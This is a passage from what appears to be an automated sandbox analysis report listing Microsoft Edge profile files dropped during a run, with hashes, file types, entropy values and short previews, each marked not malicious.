Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c3b4c676-db28-4143-9468-8e2077d24f55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16849), with no line terminators
Category:	dropped
Size (bytes):	16850
Entropy (8bit):	5.440721811026066
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypmVs6LgaFvrE9kLNprkqxxjKOluPEUZrRD8UbV+FpCQg:stKPGQSu4Os60CDxWLPECLbGEQwxs3s
MD5:	736FBA5C95B5422C236FD9761994CBB1
SHA1:	AA648EEB6E0B43DDE13F4A9F162F3F5D46D35B37
SHA-256:	E96588C53FABAE6F51E0521431926B115FF824CD98A5BEB846D1D7240279F049
SHA-512:	C98AB1EECD27DD08CFC2A0D6755E20832076577B718269569F9CD7F2078A701763A934076A7E4BF149A4D35BE4B55DE12028ABAE33CB4ECB5BD3C87AAF9D7486
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8e3af20-4d60-4679-bd2a-8ac9bc9f51ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16684), with no line terminators
Category:	dropped
Size (bytes):	16685
Entropy (8bit):	5.443890220134471
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypmVs6LgaFvrE9kLNprkqxxjKOluPEUZrRD8UbV+FpCQx:stKPGQSu4Os60CDxWLPECLbGEQwXs
MD5:	C9AA5FFFC84306F625E1EA6A1A6F2291
SHA1:	816978C14E5138E42328D32E180C958D0C30DE68
SHA-256:	86A9D6C66F535676E995C911C4ED9E74C921497513273D40D71C679A8FF515DA
SHA-512:	AEBFA7289119209AAE422837077418B47B6CEAD43BFE7246BCF4685206A1B77D245AAF50D77CAF81C90B083609613F0BC010C9AA03385535B03BF02EA1366F34
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e16114b4-3856-4e74-aeb9-95cf14b7ccd0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17442), with no line terminators
Category:	dropped
Size (bytes):	17443
Entropy (8bit):	5.478225932022975
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypmVs6LgaFvrEgsukLNprkqxxjKOluPEUZrRD8UbV+FpO:stKPGQSu4Os60CDV0WLPECLbGEQwxs3s
MD5:	CEEACC81CF6BDFEED555D066B55EDFBC
SHA1:	9AB9F84AF96B1948EDD92AF0DCBDBE619C8233F7
SHA-256:	1B88B73CFA232C992BBDA02CAF3ECF503CDD6FBA82211EE97E7D24974662DA51
SHA-512:	6133093B0B1743458647B6DBCF6767D71E600DC47CFBB8342955D9B05450944C63F4F0CF873A0DD760210F8FCA0DF52E3DEF6EA16186578A212F6F16C7F9D429
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377284672246293","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\eaea94cf-0bdd-4f17-86c2-f405dd7d78bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10286162277366881
Encrypted:	false
SSDEEP:	12:+KntMKnt9spEjVl/PnnnnnnnnnnnvoQ/Eou:+6M62oPnnnnnnnnnnnv1j
MD5:	BCAB12DA54D67D91C9D1CFE3DB399F43
SHA1:	3E067BB80901C085074AE0BA9C57B004CD357BBE
SHA-256:	4A9FF5E1D2D5B5EE047329932AA507BB6910917CF042CEE46DDA64996A590997
SHA-512:	0BA35DD3D6CDA6E79C03894CA7AAAEAC8C0D1FDF60650005A10E25109617F0558DCC6DADE710F74E3487C5A05141A0284DE536A969829058626961F0ECE5C15B
Malicious:	false
Preview:	..-.............M.........g....:$J...V.....\|......-.............M.........g....:$J...V.....\|............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8893999604048618
Encrypted:	false
SSDEEP:	384:SDqb1kjdj7cVzUIA1Kczy1KTv8VyHyu4wygyRQy6xyM6:iP+
MD5:	D99EBDE805EB728BDE15288F716D074B
SHA1:	9343A85675F8D4A427BD68254E9064DDADE6A07B
SHA-256:	44A39F1B046F7A59ED7927F5FE7DBE1DD5E45855ED83961B0A1AC751BAE4CDE7
SHA-512:	FD10E31B65256E68ECE5E866398838FCF6984A93F9C9F34E8C28E64BEED52B12921E008AC01BAD4BEE34AB039538FC3064009EE0482AFBEC343E143800606DAC
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.239971448638495
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuZp8tVn:pHayhSVn
MD5:	D4BA9656090D73130A33D80EFDA10DE0
SHA1:	3ED43878C9DFC37A9533773AEB2F3CC2F1A976CE
SHA-256:	03C23BE0DEBAACCBC4EBA669B3153092A07A0FF9FC7DC5A2B7274136684FC80B
SHA-512:	E12EFF5CD865B0F1B72B197CC234943E7DCF3E35CA0878E9B2306EADB298096DA28E47FFF11990CB20CEF83CA6DF5C7DD9E82A0A66FF26305214037A92972414
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................80................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.149416900511946
Encrypted:	false
SSDEEP:	6:Hp4+q2PN723oH+TcwtfrK+IFUt8YpfZmw+YpfVkwON723oH+TcwtfrUeLJ:JNvVaYeb23FUt8cf/+cN5OaYeb3J
MD5:	951871926F2F1C089C503062AFC71467
SHA1:	F6B5D6946786F16FC20979EEDA7D064BC7684D10
SHA-256:	A7C132F8BACFC289106062E18884A1D103D4FBA4713AB032313AC2A4040FCE31
SHA-512:	82C2D468D583A50AEE15C35229FA4D5A586FDDF3725057F36C4ACE9DC7A99BE48DB21F5ADF98F393F2145E69247C99300C8D77379BAE31A1A3DF813BAC9D0436
Malicious:	false
Preview:	2024/11/28-11:24:32.340 2088 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-11:24:32.341 2088 Recovering log #3.2024/11/28-11:24:32.341 2088 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.149416900511946
Encrypted:	false
SSDEEP:	6:Hp4+q2PN723oH+TcwtfrK+IFUt8YpfZmw+YpfVkwON723oH+TcwtfrUeLJ:JNvVaYeb23FUt8cf/+cN5OaYeb3J
MD5:	951871926F2F1C089C503062AFC71467
SHA1:	F6B5D6946786F16FC20979EEDA7D064BC7684D10
SHA-256:	A7C132F8BACFC289106062E18884A1D103D4FBA4713AB032313AC2A4040FCE31
SHA-512:	82C2D468D583A50AEE15C35229FA4D5A586FDDF3725057F36C4ACE9DC7A99BE48DB21F5ADF98F393F2145E69247C99300C8D77379BAE31A1A3DF813BAC9D0436
Malicious:	false
Preview:	2024/11/28-11:24:32.340 2088 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/28-11:24:32.341 2088 Recovering log #3.2024/11/28-11:24:32.341 2088 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.151600306068933
Encrypted:	false
SSDEEP:	6:HpTgq2PN723oH+TcwtfrzAdIFUt8YpYhZZmw+YpYhzkwON723oH+TcwtfrzILJ:JTgvVaYeb9FUt8cyZ/+cyz5OaYeb2J
MD5:	52662CBEEA82F0933EBA077513170E33
SHA1:	B74EC3AA677297F3286FE83CF5270C08B7CB8104
SHA-256:	598939035FE8B660FF0C04E6D275DFEF45BC224FCFA23FAEBE1B6B28D3411117
SHA-512:	AA0735C9CC6656B6EE07A65C9C520F495D15A71F4BDBEF363354094FF5588BC4AC6543167BDD05B73370982A664948D0F7F93EB36A4FA9ADE505320D71C7CB68
Malicious:	false
Preview:	2024/11/28-11:24:32.336 23e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-11:24:32.337 23e0 Recovering log #3.2024/11/28-11:24:32.337 23e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.151600306068933
Encrypted:	false
SSDEEP:	6:HpTgq2PN723oH+TcwtfrzAdIFUt8YpYhZZmw+YpYhzkwON723oH+TcwtfrzILJ:JTgvVaYeb9FUt8cyZ/+cyz5OaYeb2J
MD5:	52662CBEEA82F0933EBA077513170E33
SHA1:	B74EC3AA677297F3286FE83CF5270C08B7CB8104
SHA-256:	598939035FE8B660FF0C04E6D275DFEF45BC224FCFA23FAEBE1B6B28D3411117
SHA-512:	AA0735C9CC6656B6EE07A65C9C520F495D15A71F4BDBEF363354094FF5588BC4AC6543167BDD05B73370982A664948D0F7F93EB36A4FA9ADE505320D71C7CB68
Malicious:	false
Preview:	2024/11/28-11:24:32.336 23e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-11:24:32.337 23e0 Recovering log #3.2024/11/28-11:24:32.337 23e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a2f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a307.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a4ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089790600822736
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWkdi1zNtPMpkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynkWkzItSmd6qE7lFoC
MD5:	7C2CE9B6744598A767954AB8E1E5CE8C
SHA1:	E342C1BDC079C0DEADCB5B3BFDD331C0C10DF96D
SHA-256:	F86CEC6AD42F2083633DEF890B2C88DDB0749E39F6DD12E26EF425F1D761BEE6
SHA-512:	FF95C07DA6743D106E8A144F2F6B4F2225C8372620C0966A802673F89BCF19244E8D40E19C280C6D164FD9C86D31116C376621A57689C2993F1CC18FFC3A5772
Malicious:	false
